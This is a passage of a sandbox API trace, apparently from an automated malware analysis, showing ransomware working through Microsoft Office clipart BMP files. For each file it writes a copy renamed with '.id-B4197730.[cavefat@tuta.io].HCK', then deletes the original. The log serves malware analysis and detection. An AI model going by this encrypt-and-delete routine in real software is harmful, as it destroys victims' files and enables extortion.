returned 0 [0179.612] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.612] lstrlenW (lpString="PH01332U.BMP") returned 12 [0179.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.613] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0179.613] CloseHandle (hObject=0x2fc) returned 1 [0179.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp")) returned 0x220 [0179.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.619] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.619] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.622] GetLastError () returned 0x0 [0179.622] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0179.626] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0179.627] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.627] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.628] SetEndOfFile (hFile=0x370) returned 1 [0179.630] CloseHandle (hObject=0x370) returned 1 [0179.634] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.634] SetEndOfFile (hFile=0x368) returned 1 [0179.634] CloseHandle (hObject=0x368) returned 1 [0179.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp")) returned 1 [0179.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.635] lstrlenW (lpString=".doc") returned 4 [0179.635] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.635] lstrlenW (lpString=".docx") returned 5 [0179.635] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.635] lstrlenW (lpString=".pdf") returned 4 [0179.635] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.635] lstrlenW (lpString=".xls") returned 4 [0179.635] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.635] lstrlenW (lpString=".xlsx") returned 5 [0179.635] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.635] lstrlenW (lpString=".ppt") returned 4 [0179.635] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.635] lstrlenW (lpString=".zip") returned 4 [0179.635] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.635] lstrlenW (lpString=".rar") returned 4 [0179.635] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".bz2") returned 4 [0179.636] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".7z") returned 3 [0179.636] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".dbf") returned 4 [0179.636] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".1cd") returned 4 [0179.636] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".jpg") returned 4 [0179.636] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".doc") returned 4 [0179.636] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".docx") returned 5 [0179.636] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.636] lstrlenW (lpString=".pdf") returned 4 [0179.636] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".xls") returned 4 [0179.636] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".xlsx") returned 5 [0179.636] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.636] lstrlenW (lpString=".ppt") returned 4 [0179.636] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".zip") returned 4 [0179.636] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".rar") returned 4 [0179.636] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".bz2") returned 4 [0179.636] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString=".7z") returned 3 [0179.636] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".dbf") returned 4 [0179.636] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".1cd") returned 4 [0179.636] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 68 [0179.636] lstrlenW (lpString=".jpg") returned 4 [0179.636] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.636] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.636] lstrlenW (lpString="PH01607U.BMP") returned 12 [0179.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.639] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1 [0179.639] CloseHandle (hObject=0x300) returned 1 [0179.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp")) returned 0x220 [0179.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.641] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.641] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.647] GetLastError () returned 0x0 [0179.647] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.650] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.651] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.651] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.651] SetEndOfFile (hFile=0x39c) returned 1 [0179.654] CloseHandle (hObject=0x39c) returned 1 [0179.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.654] SetEndOfFile (hFile=0x368) returned 1 [0179.657] CloseHandle (hObject=0x368) returned 1 [0179.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp")) returned 1 [0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.661] lstrlenW (lpString=".doc") returned 4 [0179.661] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".docx") returned 5 [0179.661] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.661] lstrlenW (lpString=".pdf") returned 4 [0179.661] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".xls") returned 4 [0179.661] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".xlsx") returned 5 [0179.661] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.661] lstrlenW (lpString=".ppt") returned 4 [0179.661] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.661] lstrlenW (lpString=".zip") returned 4 [0179.661] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".rar") returned 4 [0179.661] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".bz2") returned 4 [0179.661] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString=".7z") returned 3 [0179.661] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.661] lstrlenW (lpString=".dbf") returned 4 [0179.661] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.661] lstrlenW (lpString=".1cd") returned 4 [0179.661] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".jpg") returned 4 [0179.662] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".doc") returned 4 [0179.662] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".docx") returned 5 [0179.662] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.662] lstrlenW (lpString=".pdf") returned 4 [0179.662] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".xls") returned 4 [0179.662] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".xlsx") returned 5 [0179.662] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.662] lstrlenW (lpString=".ppt") returned 4 [0179.662] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".zip") returned 4 [0179.662] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".rar") returned 4 [0179.662] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".bz2") returned 4 [0179.662] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString=".7z") returned 3 [0179.662] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".dbf") returned 4 [0179.662] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".1cd") returned 4 [0179.662] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 68 [0179.662] lstrlenW (lpString=".jpg") returned 4 [0179.662] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.662] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.662] lstrlenW (lpString="PH02040U.BMP") returned 12 [0179.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.663] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0179.664] CloseHandle (hObject=0x300) returned 1 [0179.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp")) returned 0x220 [0179.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.667] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.667] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.675] GetLastError () returned 0x0 [0179.675] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0179.678] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0179.679] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.679] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.679] SetEndOfFile (hFile=0x2fc) returned 1 [0179.687] CloseHandle (hObject=0x2fc) returned 1 [0179.691] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.691] SetEndOfFile (hFile=0x368) returned 1 [0179.695] CloseHandle (hObject=0x368) returned 1 [0179.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp")) returned 1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".doc") returned 4 [0179.699] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".docx") returned 5 [0179.699] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.699] lstrlenW (lpString=".pdf") returned 4 [0179.699] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".xls") returned 4 [0179.699] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".xlsx") returned 5 [0179.699] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.699] lstrlenW (lpString=".ppt") returned 4 [0179.699] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".zip") returned 4 [0179.699] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".rar") returned 4 [0179.699] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".bz2") returned 4 [0179.699] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".7z") returned 3 [0179.699] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".dbf") returned 4 [0179.699] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".1cd") returned 4 [0179.699] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".jpg") returned 4 [0179.699] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.699] lstrlenW (lpString=".doc") returned 4 [0179.699] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".docx") returned 5 [0179.699] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.699] lstrlenW (lpString=".pdf") returned 4 [0179.699] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".xls") returned 4 [0179.699] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.699] lstrlenW (lpString=".xlsx") returned 5 [0179.700] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.700] lstrlenW (lpString=".ppt") returned 4 [0179.700] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.700] lstrlenW (lpString=".zip") returned 4 [0179.700] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.700] lstrlenW (lpString=".rar") returned 4 [0179.700] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.700] lstrlenW (lpString=".bz2") returned 4 [0179.700] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.700] lstrlenW (lpString=".7z") returned 3 [0179.700] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.700] lstrlenW (lpString=".dbf") returned 4 [0179.700] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.700] lstrlenW (lpString=".1cd") returned 4 [0179.700] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 68 [0179.700] lstrlenW (lpString=".jpg") returned 4 [0179.700] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.700] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.700] lstrlenW (lpString="PH02062U.BMP") returned 12 [0179.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 